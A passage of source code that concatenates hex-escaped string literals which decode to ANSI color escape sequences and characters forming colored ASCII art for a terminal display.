+"\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x32\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b" +"\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x30\x3b\x34\x31\x6d\x38\x1b" +"\x5b\x30\x3b\x35\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x31\x3b" +"\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x25\x1b\x5b" +"\x30\x3b\x31\x3b\x33\x30\x3b\x34\x37\x6d\x58\x1b\x5b\x30\x3b\x31\x3b\x33\x37\x3b\x34\x37\x6d\x20\x1b\x5b\x30\x3b\x35\x3b\x33\x37" +"\x3b\x34\x37\x6d\x40\x2e\x2e\x20\x2e\x1b\x5b\x30\x3b\x31\x3b\x33\x37\x3b\x34\x37\x6d\x58\x1b\x5b\x30\x3b\x35\x3b\x33\x31\x3b\x34" +"\x30\x6d\x53\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35" +"\x3b\x33\x30\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x32\x3b\x34\x30\x6d\x38" +"\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x33\x31\x3b\x34" +"\x30\x6d\x40\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x38\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30" +"\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x38\x1b\x5b\x30\x3b\x33\x30\x3b\x34\x31\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34" +"\x30\x6d\x40\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x53\x1b\x5b\x30\x6d\x0d\x0a\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d" +"\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33" +"\x32\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b" +"\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34" +"\x30\x6d\x38\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x32\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b" +"\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b" +"\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b" +"\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x32\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b" +"\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d" +"\x38\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x31\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x20\x1b\x5b\x30\x3b\x31" +"\x3b\x33\x37\x3b\x34\x37\x6d\x58\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x37\x6d\x25\x2e\x1b\x5b\x30\x3b\x35\x3b\x33\x37\x3b\x34" +"\x37\x6d\x3b\x20\x58\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x2e\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30" +"\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x32\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x31" +"\x6d\x38\x1b\x5b\x30\x3b\x33\x32\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30" +"\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30" +"\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38" +"\x1b\x5b\x30\x3b\x35\x3b\x33\x32\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30" +"\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30" +"\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x6d\x0d\x0a\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x40\x1b\x5b\x30" +"\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40" +"\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x38\x1b\x5b\x30\x3b\x33" +"\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b" +"\x30\x3b\x35\x3b\x33\x32\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34" +"\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x31" +"\x3b\x33\x30\x3b\x34\x30\x6d\x38\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d" +"\x58\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x31\x3b\x33" +"\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b" +"\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x31\x3b\x33\x30" +"\x3b\x34\x37\x6d\x58\x38\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x37\x3b\x34\x37\x6d\x3a\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x37\x6d" +"\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x31\x3b\x34\x30\x6d\x53\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33" +"\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x31\x3b\x34\x30\x6d\x53\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38" +"\x1b\x5b\x30\x3b\x35\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x40\x58\x1b\x5b\x30\x3b\x35" +"\x3b\x33\x33\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x35\x3b\x33\x31\x3b\x34\x30" +"\x6d\x53\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b" +"\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b" +"\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x32\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30" +"\x6d\x38\x1b\x5b\x30\x6d\x0d\x0a\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30" +"\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x32\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31" +"\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30" +"\x3b\x35\x3b\x33\x32\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30" +"\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x31\x3b" +"\x33\x30\x3b\x34\x30\x6d\x38\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x58" +"\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x32\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34" +"\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35" +"\x3b\x33\x30\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38" +"\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x31\x3b\x33\x30" +"\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x38\x1b" +"\x5b\x30\x3b\x35\x3b\x33\x31\x3b\x34\x30\x6d\x53\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b" +"\x34\x30\x6d\x38\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x53\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x38\x1b" +"\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33" +"\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x35\x3b\x33\x31\x3b\x34\x30\x6d\x58" +"\x1b\x5b\x30\x3b\x35\x3b\x33\x32\x3b\x34\x30\x6d\x53\x1b\x5b\x30\x3b\x35\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b" +"\x33\x32\x3b\x34\x30\x6d\x53\x1b\x5b\x30\x3b\x35\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d" +"\x38\x40\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x30\x3b\x34\x31\x6d\x38\x1b\x5b\x30\x3b\x35\x3b" +"\x33\x30\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x6d\x0d\x0a\x1b\x5b\x30\x3b\x31\x3b\x33\x30" +"\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30" +"\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38" +"\x1b\x5b\x30\x3b\x35\x3b\x33\x32\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x31\x3b\x33\x30" +"\x3b\x34\x30\x6d\x38\x38\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x58\x1b" +"\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x32\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30" +"\x6d\x38\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b" +"\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x40\x20" +"\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x37\x6d\x2e\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x20\x1b\x5b\x30\x3b\x31\x3b" +"\x33\x37\x3b\x34\x37\x6d\x3b\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x37\x6d\x20\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d" +"\x74\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x37\x6d\x20\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b" +"\x31\x3b\x33\x30\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d" +"\x40\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x35\x3b\x33\x31\x3b\x34\x30\x6d\x53\x1b\x5b\x30\x3b\x35\x3b\x33" +"\x30\x3b\x34\x30\x6d\x58\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x31\x3b\x34\x30\x6d\x53\x1b\x5b\x30\x3b\x35\x3b\x33\x32\x3b\x34\x30\x6d" +"\x58\x1b\x5b\x30\x3b\x35\x3b\x33\x31\x3b\x34\x30\x6d\x53\x1b\x5b\x30\x3b\x35\x3b\x33\x35\x3b\x34\x30\x6d\x20\x1b\x5b\x30\x3b\x35" +"\x3b\x33\x37\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x31\x3b\x33\x37\x3b\x34\x37\x6d\x74\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30" +"\x6d\x20\x20\x38\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30" +"\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x6d\x0d\x0a\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x40\x1b\x5b\x30" +"\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30" +"\x6d\x38\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35" +"\x3b\x33\x30\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x58" +"\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x32\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34" +"\x30\x6d\x40\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35" +"\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d" +"\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x37\x6d\x58\x20\x1b\x5b\x30\x3b" +"\x35\x3b\x33\x37\x3b\x34\x37\x6d\x3b\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x74\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34" +"\x37\x6d\x74\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x3b\x3b\x1b\x5b\x30\x3b\x31\x3b\x33\x37\x3b\x34\x37\x6d\x74\x1b\x5b" +"\x30\x3b\x31\x3b\x33\x30\x3b\x34\x37\x6d\x38\x53\x1b\x5b\x30\x3b\x35\x3b\x33\x31\x3b\x34\x30\x6d\x53\x1b\x5b\x30\x3b\x33\x32\x3b" +"\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x33\x30\x3b\x34\x31\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b" +"\x33\x32\x3b\x34\x30\x6d\x53\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b" +"\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x35\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33" +"\x30\x3b\x34\x30\x6d\x53\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x53\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x37\x6d\x40" +"\x1b\x5b\x30\x3b\x31\x3b\x33\x37\x3b\x34\x37\x6d\x53\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x37\x6d\x38\x1b\x5b\x30\x3b\x31\x3b" +"\x33\x30\x3b\x34\x31\x6d\x38\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d" +"\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b" +"\x34\x30\x6d\x58\x1b\x5b\x30\x6d\x0d\x0a\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30" +"\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x32\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x31\x3b" +"\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x32\x3b\x34\x30\x6d\x38\x1b" +"\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x32\x3b\x34\x30" +"\x6d\x40\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x31\x6d\x38\x1b\x5b\x30\x3b\x33\x32\x3b\x34\x30\x6d\x25\x1b\x5b\x30\x3b\x35\x3b" +"\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x38\x20\x1b\x5b\x30\x3b\x35\x3b\x33\x31\x3b\x34\x30" +"\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x38\x3a\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x35\x3b\x34\x30\x6d\x25\x1b\x5b" +"\x30\x3b\x35\x3b\x33\x37\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x20\x1b\x5b\x30\x3b\x31\x3b\x33\x30" +"\x3b\x34\x37\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x74\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x37\x6d\x38\x1b" +"\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x3a\x3b\x20\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x37\x6d\x38\x38\x1b\x5b\x30\x3b" +"\x35\x3b\x33\x31\x3b\x34\x30\x6d\x58\x58\x1b\x5b\x30\x3b\x35\x3b\x33\x36\x3b\x34\x30\x6d\x20\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b" +"\x34\x30\x6d\x3b\x1b\x5b\x30\x3b\x35\x3b\x33\x37\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x20\x1b\x5b" +"\x30\x3b\x35\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x35\x3b\x33\x32" +"\x3b\x34\x30\x6d\x53\x1b\x5b\x30\x3b\x35\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b" +"\x5b\x30\x3b\x35\x3b\x33\x35\x3b\x34\x30\x6d\x20\x1b\x5b\x30\x3b\x31\x3b\x33\x37\x3b\x34\x37\x6d\x74\x1b\x5b\x30\x3b\x35\x3b\x33" +"\x33\x3b\x34\x30\x6d\x2e\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b" +"\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x53\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x38\x38\x1b\x5b\x30\x6d\x0d\x0a" +"\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x40\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33" +"\x30\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b" +"\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x38\x1b\x5b\x30\x3b\x33\x30\x3b\x34\x31\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b" +"\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b" +"\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x74\x1b\x5b\x30\x3b\x31\x3b\x33\x37\x3b\x34\x37\x6d" +"\x40\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x31" +"\x3b\x33\x37\x3b\x34\x37\x6d\x53\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x37\x6d\x25\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30" +"\x6d\x74\x1b\x5b\x30\x3b\x35\x3b\x33\x37\x3b\x34\x37\x6d\x25\x1b\x5b\x30\x3b\x35\x3b\x33\x37\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b" +"\x31\x3b\x33\x30\x3b\x34\x37\x6d\x3a\x1b\x5b\x30\x3b\x31\x3b\x33\x37\x3b\x34\x37\x6d\x20\x1b\x5b\x30\x3b\x35\x3b\x33\x37\x3b\x34" +"\x30\x6d\x40\x1b\x5b\x30\x3b\x31\x3b\x33\x37\x3b\x34\x37\x6d\x25\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x37\x6d\x53\x53\x1b\x5b" +"\x30\x3b\x31\x3b\x33\x37\x3b\x34\x37\x6d\x74\x2e\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x25\x1b\x5b\x30\x3b\x35\x3b\x33" +"\x30\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x35\x3b\x33\x37\x3b\x34\x37\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x20" +"\x1b\x5b\x30\x3b\x35\x3b\x33\x37\x3b\x34\x37\x6d\x3a\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x20\x1b\x5b\x30\x3b\x35\x3b" +"\x33\x30\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x35\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d" 